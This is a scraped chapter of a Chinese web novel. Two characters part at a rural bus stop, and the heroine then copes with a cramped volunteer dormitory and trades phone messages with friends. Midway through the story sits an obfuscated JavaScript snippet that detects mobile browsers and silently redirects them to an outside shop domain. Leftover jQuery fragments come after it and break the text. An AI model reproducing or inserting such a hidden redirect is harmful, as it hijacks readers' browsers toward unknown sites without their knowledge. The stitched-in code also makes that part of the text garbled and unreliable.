文趣网 > 其他小说 > 辣姜汤[县城] > 49. 辣姜汤
    比惨大赛正式结束,汤言以由奢入俭后坠入贫民窟更惨取得胜利。姜之和汤言短暂地达成一致,彼此都心情舒畅起来。

    “我从来没告诉过别人,因为他们总觉得瘦死的骆驼比马大,我们家肯定还有信托啊之类的。没有,有的话我就不会过得这么惨了。”汤言觉得风大了,打了个喷嚏,“不过我妈说有,我现在怀疑她只是怕我寻思瞎说的借口。”

    姜之拢起衣服,看着她鼻头一点红,“走吧,下山吧。”

    “嗯。”

    下山路陡,风急,谁都没说话。终于下了小路走到四面都是小平房的石灰地上。

    汤言忽然想起一件事,“喂,你知不知道我见过小时候的你。也不能这么说,我们小时候见过。”

    姜之没有回头,他心想这不是肯定的嘛,“嗯,你过年不是一直回来嘛。”

    后面的人小跑两步走在他身边。

    汤言快乐地说:“不是在顾春啦,在荷灵,我们家。我们见过,你记得吗?”

    当时他还只是个娃娃,汤言不奢求他能记得到过她们家的事。

    “好像是你……我想想,我当时应该是7岁,那你应该三四岁。不记得了吗?”汤言歪过头,一错不错瞧着他。

    姜之呆滞片刻,看着她认真地脸,觉得她没有说假话。

    “我为什么会去你家?”

    汤言依然看着他,她环抱着胸,“因为你妈带你来找我妈兴师问罪啊!”

    “什么?”

    姜之不敢相信,“我妈见过你妈,在你家,带着我?!”

    看来是真不知道,也是毕竟还是个小娃娃。

    “是啊,你不知道吧,我也是才想起来。小时候我妈老说老家有个叔叔给我买了玩具,但我不记得是谁了。后来有天我们家门口出现个抱着孩子的女人,我妈说是老家的亲戚。你妈说要把那些玩具钱要回来,我妈同意了,顺便买了机票送你们到机场。小时候啊,你剪着个西瓜头,我也记不大清,但现在我肯定了,就是你。”

    汤言言之凿凿。

    那么姜之小时候记得自己坐过飞机这件事就说得通了。

    看了她几眼,姜之没办法为他妈的行为做出评价,他实话实说,“我妈一直记恨你妈。一直,一直说是你妈抛弃了我爸,然后才找的我妈。她这些年一直对我爸有个白月光颇有微词,直到最后离婚也和这件事有关。”

    汤言听了急眼,“哈!我妈虽然没跟我说过姜叔的事。但我爸说过,他说我妈之前有个相好的,本来都说好了一起走,结果那人最后变卦不愿意,我妈才含泪自己跑出来的!”

    二人各执一词,谁都不肯妥协。

    “先不提了!”汤言气鼓鼓地踢着石子,两个人好不容易建立起来的战略合作关系差点又因为一件小事破裂了。

    汤言真心觉得,他们不适合做朋友。

    没关系,求同存异嘛。

    “走吧走吧,你快回家吧,我也该回学校了。”

    斜阳下,瓦片搭的鸡棚下母鸡护着崽子。经过谁家的旱厕,汤言捂住了鼻子。狭窄的小路上,两侧是破旧的木门,但门口的石墩子很干净,被岁月洗礼后光滑圆润。这里应该还住着人,老人。走过几间矮旧的老房子,终于走上了青石板的大路。几棵树下有老头老太在拉二胡聊天,看到两个不熟悉的面孔,他们齐齐看过来。惹得汤言快步走过。

    终于快到乡镇的中心,这里的房子明显是新修的。门口的水泥灰新铺的路很结实,没有破损,没有坑洼。门头又高又大,一侧留着一个排水管道。

    经过一十字路口,这里是商铺区了。

    “前面就是小超市,这里东西比其他家便宜。”

    姜之的声音从身侧出现,汤言点头。

    “这家是面馆,但估计你不爱吃。”

    汤言点头,“嗯,我也认得字,说点牌匾上没有的。”

    姜之背着书包环顾一圈,指向那个破,“上面是镇医院,医院的后面是一片荒地,不要往后面走。里面经常有埋在地里的针管,和拾荒的老人。不好。”

    “哦。”

    黄昏下,眼前的东西渐渐变得不真切,视力也达到了一天中最差的时刻。

    “这边是个五金店,店家是个残疾人,没结婚,你以后出校门绕着走。这个是个做家具的,绕着走。门口经常有摆摊的,除了现做的外,不要吃。哦,你看看学校还有没有一个姓程的老师,绕着走……”

    姜之噼里啪啦说了一大堆,汤言听懂了,“这些是有前科的嘛?”

    姜之郑重地看着她,“嗯。”

    “……”

    汤言呵呵笑两声,“你们镇……卧虎藏龙啊。”

    姜之仔细看着她,没接她的笑话。

    “反正离男的远点就好了。主要是这些人在乡下更混不下去,就跑到镇上了。”

    视线里看到一辆大巴车正在掉头。这里是起始站,说明快要发车了。姜之最后仔细看着她,“有什么事你跟我爸打电话,别惹祸,知道吗?”

    汤言本来想白他一眼,小小年纪一把年纪的,可看到他没坏心思,她又咽了下去,“好,知道了。你走吧,我没事的。”

    姜之不放心地看着她,却想不到还有什么都嘱托了的,临了了,还是拍拍她的肩膀,“照顾好自己。”

    “好~”

    汤言看着他跑向大巴车,黑色的头发在他的律动中上下飞舞。她印象里那个迷迷糊糊的小孩竟然已经长得比自己还高了,唏嘘之外,还有些不可思议。毕竟作为话外人的自己都长大了,世界纷呈变化,一晃快二十年。

    姜之在上车前还是看向这边,汤言对他笑笑,也不知道他看到看不到。姜之单腿已经踩上大巴车的台阶,可仍然停留下看了她数秒。

    汤言知道姜之是一个不愿意表露情绪的人,大概这几秒就是他最后的告白了吧。

    汤言挥舞着手,笑着望向他。

    姜之依然不动,那样看着她。

    就在她以为姜之不会有什么动作时,姜之忽然也挥舞着手臂,手臂伸展开,像一只即将展翅的鸟。

    姜之随后上了车。

    “搞什么,生离死别啊。”汤言笑了笑,看着车门关闭,大巴车慢慢行驶到公路上,轰隆轰,载着姜之的那辆车开走了。

    许是二人谈心真正有了效果,汤言心底也泛起涟漪。

    黄昏老树寒鸦。

    汤言晃着去了学校,从门岗后拿出来自己的行李,绕过教学楼后,看到亮着灯的宿舍,汤言在宿舍一楼碰到了同样来志愿的学生。

    “你是汤言吧?”一个男生戴着黑框眼镜走上来,“我们都到了,王老师正找你呢。”

    男生介绍自己,“我叫王东华,现在在H大学学动画设计。”

    男生带着她走向女生宿舍,里面四张大通铺已经站满了人。王玥老师看着来人,“怎么才来,来,这里还有个位置。”

    大通铺的连接处还有个空位,汤言眉头一跳,感觉要晕过去。

    “就是睡在一起吗?”

    王玥看着她笑:“是啊,通铺嘛。”

    汤言附和地笑了几声,心里已经泛起来苦水。她心想最糟糕的也不过是住在破破烂烂的宿舍里,谁能想居然是八个人睡在一张巨大的床铺上。

    汤言笑不出来了。

    几个女生似乎看她不好意思,帮她一起铺了床。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729015|207032||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    也就四十厘米的睡觉宽度吧。本来就是给小孩子睡的,汤言看着躺上去的几个大学生,只觉得心碎。王玥老师走后,女孩子们叽叽喳喳聊着自己的学校、偶像、男女朋友,汤言趴在床上,感觉头痛。

    “汤言,你是云清大学的嘛?”

    几个人介绍完了自己,汤言呆呆地不说话。但是她们在就在报名表上看到了她的信息,大家都对这个Top1的大学生感到好奇。

    “嗯。”

    汤言摸出来手机给姜之发消息,一阵吐槽这里的大通铺。

    盐罐子:「这岂不是一人有皮肤病,全宿舍都要得吗!」

    姜汁儿:「现在好多了,我上学的时候所有学生头上都长虱子。」

    汤言闭上眼,宁愿没有看到这两个字。

    “云清大学是不是压力特别大啊,是不是都特聪明?”

    汤言仔细一想,她反正压力蛮大的,毕竟被追债还没钱。当然她也知道对方想听什么,于是她说,“是啊,压力特别大。”

    “唔。”那个女孩似乎大学也不错,一直追着问,“你高考多少分啊?”

    “我吗,我保送。”

    一阵唏嘘,都默认了这是个超级学霸。汤言从上铺下了床,想找哪里有水。旁边一个女生说水房没开,只有送来的瓶装水。汤言从一大瓶农夫山泉里用自己的杯子接了一小瓶,又爬上床。她给卢词发信息:「你可真是害惨我了!!!」

    卢词:「哈哈哈哈哈!」

    因为卢词帮了汤言不少忙,正好他组织了一次志愿,卢词没时间去,就托汤言帮忙去一趟,拍照取景写一篇纪实报道用于交差。汤言本来以为现在的环境能差到哪,到了才知道。

    宿舍四个人就已经是她的忍耐极限了,这么一来十几个人都住在一起,汤言的脑袋要爆炸。

    卢词:「打个电话?」

    盐罐子:「成!」

    正好,汤言不吐不快。

    出了宿舍找了个楼梯转角,汤言给卢词拨过去。

    “我有做对不起你的事吗,你明知道我受不了一个宿舍这么多人!你知道会传染虱子的吗!”

    汤言扣着栏杆的油漆,心里骂他,“好事都是我做的,你留了名字,凭什么!”

    卢词心平气和:“姑奶奶,如果你想的话,这次的项目留你的名,怎么样?”

    汤言:……

    这样也不行,毕竟她现在还是不易出名。

    “阿秋——”

    外面冷了,汤言打了个喷嚏。忽然电话里传来更加嘈杂的声音,“感冒了,吃过药了吗?”

    是姜之。

    “哎?”汤言没听错吧,“姜之?”

    “嗯,是我。”

    电话里面打电话,姜之的声音很朦胧。

    “你怎么……”在卢词的电话里啊。

    卢词解释:“我们在上课,你正好发信息,我就问他方不方便和你打个电话。姜之说没问题。”

    “哦。阿秋——”汤言又打了喷嚏,姜之再问:“吃药了吗?”

    “还没。”

    “去吃。”

    “哦。挂了。”

    卢词在一旁笑,“拜拜啊。”

    汤言挂掉的时候吐槽:“笑个屁。”

    回到宿舍,汤言从自己的包里掏出来药,吃了胶囊后爬上床,蒙在被子里。手机一震,汤言解锁看:「你这弟弟——对你有意思吧?」

    汤言蹙眉:「别瞎说。」

    卢词:「不是我吃屎。」

    盐罐子:「随便。」

    想起来她和姜之曾经写下的保证书,最后写了违背者是小狗。汤言耸肩,随便吧,不是卢词吃就是姜之吃,无所谓。